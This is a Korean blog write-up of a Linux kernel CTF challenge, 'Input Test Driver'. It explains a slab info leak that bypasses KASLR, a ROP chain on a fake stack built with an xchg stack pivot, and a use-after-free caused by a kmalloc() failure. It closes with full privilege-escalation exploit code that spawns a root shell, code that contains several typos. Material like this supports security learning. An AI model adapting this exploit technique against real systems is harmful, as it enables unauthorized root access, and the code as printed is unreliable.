Computer Security

#26 Input Test Driver 3 본문

리눅스 커널 해킹

#26 Input Test Driver 3

쿠리 Kuri 2022. 9. 5. 18:30
반응형

Exploit 순서

 

memory leak  --> kernel gadget offset 계산 --> fake stack & ROP 작성 --> UAF bug & kmalloc()logic bug

 

 


1.Memory leak

 

 

 

 

1. ioctl()을 호출해 fp_struct 할당한다.

 

2. close()를 호출해 fp_struct할당을 해제한다.

 

3. write()로 fp_struct가 사용하던 슬랩 객체를 할당받은 뒤, 슬랩 페이지에 남아 있는 printk() 주소 직전까지 더미 값(0x0707..)으로 덮는다.

 

4. ioctl()을 호출해 _fp -> fp_report_ps()를 호출하면 strlen()에 의해 더미 값 뿐만 아니라 printk()주소 까지 evdev에 보고된다.

 

5. 유저 공간에서 evdev를 통해 printk()주소를 받아올 수 있다.

    printk() 주소의 offset 계산을 통해 KASLR우회가 가능하다.

 

 

 

 

 


위 과정중 3번째인

write()로 fp_struct가 사용하던 슬랩 객체를 할당받은 뒤, 슬랩 페이지에 남아 있는 printk() 주소 직전까지 더미 값(0x0707..)으로 덮는다. 과정을 자세히 살펴보자.


3번째 단계가 실행 직전 메모리 상태이다.

write() before

...




printk() address
report_touch_press()
report_touch_release()
 

write() after

...
0x07070707070707
0x07070707070707
0x07070707070707
0x07070707070707
printk() address
report_touch_press()
report_touch_release()

 

 

정상적인 상황에서는 0x070707... 까지만 보고 돼야 하지만, strlen()으로 인해 printk() address도 보고됐다.
 

 

 

 

 

 


2. leak한 주소를 이용해서 ROP에 사용할 kernel gadget offset 계산

 

0xffffffff810eb820 - 0xffffffff810ba629 = 0x311f7

leak한 printk()주소 - xchg 가젯 주소 = offset

 

 

 


3. fake stack & ROP 작성

void setPayload (size_t arr2[]){
    uint32_t xchg; 
    int i ; 
    
    xchg = (unit32_t)(result - 0x311f7);
    mmap((void *)xchg, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    backup_rv();

    *(uint64_t*)xchg = result + 0x3d5f1c;
    *(uint64_t*)(xchg+8) = 0;
    *(uint64_t*)(xchg+16) = result - 0x3ded0;
    *(uint64_t*)(xchg+24) = result + 0x3d5eb6;
    *(uint64_t*)(xchg+32) = result - 0x3e280;
    *(uint64_t*)(xchg+40) = result - 0x31227;
    *(uint64_t*)(xchg+48) = 0;
    *(uint64_t*)(xchg+56) = result - 0x81c5c;
    *(uint64_t*)(xchg+64) = 0;
    *(uint64_t*)(xchg+72) = result - 0x31207;
    *(uint64_t*)(xchg+80) = &shell;
    *(uint64_t*)(xchg+88) = rv.user_cs;
    *(uint64_t*)(xchg+96) = rv.user_rflags;
    *(uint64_t*)(xchg+104) = rv.user_rsp;
    *(uint64_t*)(xchg+112) = rv.user_ss;
    
    for(i=0; i<50; i++)
        arr2[i] =0;
    arr2[50] = result - 0x311f7;
    arr2[51] = 0;
}

ROP payload 코드이다.

 

함수 포인터를 덮는 익스의 경우 stack pivoting 작업이 필요하다.

 

xchg 가젯과 mmap()을 통해 fake stack을 구성한다.

 

 


before

rip 0xffffffff810ba629 <xchg esp,eax>
rax 0xffffffff810ba629 <xchg esp,eax>
rsp ...

 


after

rip 0xffffffff810ba62a <ret>
rax ...
rsp 0x810ba629

위와 같이 stack pivoting을 할 경우 xchg 가젯의 앞 4바이트 주소로 rsp가 변경이 된다.

즉, mmap()을 이용해 0x810ba629 주소에 ROP payload를 쌓으면 fake stack이  완성된다.

 

 

 

 


4. UAF bug & kmalloc() logic bug

 

1.

write()를 호출해 fp_struct 크기인 416byte의 slab object를 할당한다.

 

 

2.

다시 한번 write()를 호출해 1번에서 할당 받은 slab object를 할당해제한다.

단, kmalloc()의 size로 들어가게 되는 인자는 큰 정수(0x700001)를 넣어 kmalloc()에서 NULL을 반환하도록 하여 전역 포인터 ptr의 갱신을 우회한다.(dangling pointer 발생)

 

 

3.

ioctl()을 호출해 전역 포인터 ptr이 가리키고 있는 해제된 슬랩 객체 부분을 fp_struct가 사용하도록 한다.

 

 

4.

write()를 호출해서 dangling pointer인 ptr을 이용해 fp_struct의 함수 포인터 멤버를 xchg 가젯으로 덮은 후, ioctl()을 호출해

해당 함수 포인터를 호출하면 root권한을 획득한다.

 

 

 


5. 최종 완성된 익스플로잇 코드

// gcc - masm - intel -static -o exp exp.c - no - pie 
#include <stdio.h> 
#include <string.h>
#include <stdlib.h> 
#include <stdint.h> 
#include <fcntl.h> 
#include <unistd.h> 
#include <linux/input.h> 
#include <sys/time.h> 
#include <sys/stat.h>
#include <sys/types.h> 
#include <sys/mman.h> 


#define SIZE 416 
#define FOR_LEAK 392
#define KEY 0x700001 

struct register_val {
    uint64_t user_rip ; 
    uint64_t user_cs ; 
    uint64_t user_rflags ; 
    uint64_t user_rsp ; 
    uint64_t user_ss ;
}__attribute__((packed)) ;

struct register_val rv ; 
struct input_event ie ; 
int evdev, itd, itd2, itd3; 
uint64_t result ; 

void backup_rv (void) { 
    asm ( " mov rv+8 , cs; " 
          " pushf; pop rv+16; " 
          " mov rv+24 , rsp; " 
          " nov rv+32 , ss; " 
          );
} 

void shell ( ) { 
    execl("/bin/sh", "sh", NULL) ; 

}

void setPayload (size_t arr2[]){
    uint32_t xchg; 
    int i ; 
    
    xchg = (unit32_t)(result - 0x311f7);
    mmap((void *)xchg, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    backup_rv();

    *(uint64_t*)xchg = result + 0x3d5f1c;
    *(uint64_t*)(xchg+8) = 0;
    *(uint64_t*)(xchg+16) = result - 0x3ded0;
    *(uint64_t*)(xchg+24) = result + 0x3d5eb6;
    *(uint64_t*)(xchg+32) = result - 0x3e280;
    *(uint64_t*)(xchg+40) = result - 0x31227;
    *(uint64_t*)(xchg+48) = 0;
    *(uint64_t*)(xchg+56) = result - 0x81c5c;
    *(uint64_t*)(xchg+64) = 0;
    *(uint64_t*)(xchg+72) = result - 0x31207;
    *(uint64_t*)(xchg+80) = &shell;
    *(uint64_t*)(xchg+88) = rv.user_cs;
    *(uint64_t*)(xchg+96) = rv.user_rflags;
    *(uint64_t*)(xchg+104) = rv.user_rsp;
    *(uint64_t*)(xchg+112) = rv.user_ss;
    
    for(i=0; i<50; i++)
        arr2[i] =0;
    arr2[50] = result - 0x311f7;
    arr2[51] = 0;
}

void leakGift() {
    int i = 0, j = 0, set = 0;
    int ret;
    char leak[8];

    for(i=0; i<50; i++){
        sleep(0.1);

        ret = read(evdev, &ie, sizeof(struct input_event));
        if(ret>0){
            perror("error");
            break;
        }
        if(set==1 && ie.type == 3 && ie.code == 0 && j<4){
            leak[j] = ie.value;
            j++;
        }
        if(ie.value == 0x7)
           set =1;
        printf("type: %hu, code: %hu, value: 0x%hhx \n", ie.typem ie.code, ie.value);
    }
    for(j=4; j<8; j++){
        leak[j] = 0xff;
    }

    memcpy(&result, leak, 8);
}

int main()
{
    char arr[FOR_LEAK] = {0, };
    size_t arr2[(SIZE/8)] = {0, };
    int i;

    evdev = open("/dev/input/event2", O_RDONLY);
    if(evdev < 0){
        perror("event2");
        return -1;
    }

    itd2 = open("/dev/input_test_driver", O_RDWR);
    if(itd2 < 0){
        perror("input_test_driver_2");
        return -1;
    }

    arr[0] = 1;
    arr[1] = 2;

    write(itd2, arr, 2);
    ioctl(itd2, 0x1337, 0);
    close(itd2);

    itd = open("/dev/input_test_driver", O_RDWR);
    if(itd < 0){
        perror("input_test_driver");
        return -1;
    }

    for(i=0; i<FOR_LEAK; i++)
        arr[i] = 7;
    
    write(itd, arr, FOR_LEAK);
    ioctl(itd, 0x1337, 0);

    leakGift();

    close(itd);

    itd3 = open("/dev/input_test_driver", O_RDWR);
    if(itd3 < 0){
        perror("input_test_driver_3");
        return -1;
    }

    arr2[0] = 1;
    arr2[1] = 2;

    write(itd3, arr2, SIZE);
    write(itd3, arr2, KEY);
    ioctl(itd3, 0x1337, 0);

    setPayload(arr2);

    write(itd3, arr2, KEY);
    ioctl(itd3, 0x1337, 0);

    close(evdev);
    close(itd3);

    return 0;
}

 

 


6. ./start.sh 를 하면 url로 익스플로잇을 업로드하라 나온다. MediaFire을 이용해 익스플로잇을 업로드 후 실행해보자.

./start.sh

익스플로잇을 실행하면 LPE가 터지고 root권한을 획득한다.

획득한 root권한을 이용해 플래그를 알 수 있었다.

 

 

 

 


마치며,

 

정말 나에겐 너무 어려운 문제였고,

 

지금까지 리눅스 커널 시스템해킹을 포스팅 했는데, 리눅스쪽 지식이 전무하고 시스템해킹쪽에도 깊지않다보니 너무 힘들었던 것 같다. 

이 기회에 시스템 해킹 쪽과 리눅스커널 쪽 지식을 다시 돌아보는 시간을 가지고 다시 한번 복습 해봐야 할 것 같다.

 

반응형

'리눅스 커널 해킹' 카테고리의 다른 글

#26 Input Test Driver 2  (0) 2022.09.04
#26 Input Test Driver 1  (0) 2022.09.03
#25 Double Fetch  (0) 2022.09.02
#24 Arbitrary Write 2  (0) 2022.09.01
#23 Arbitrary Write 1  (0) 2022.08.31
Comments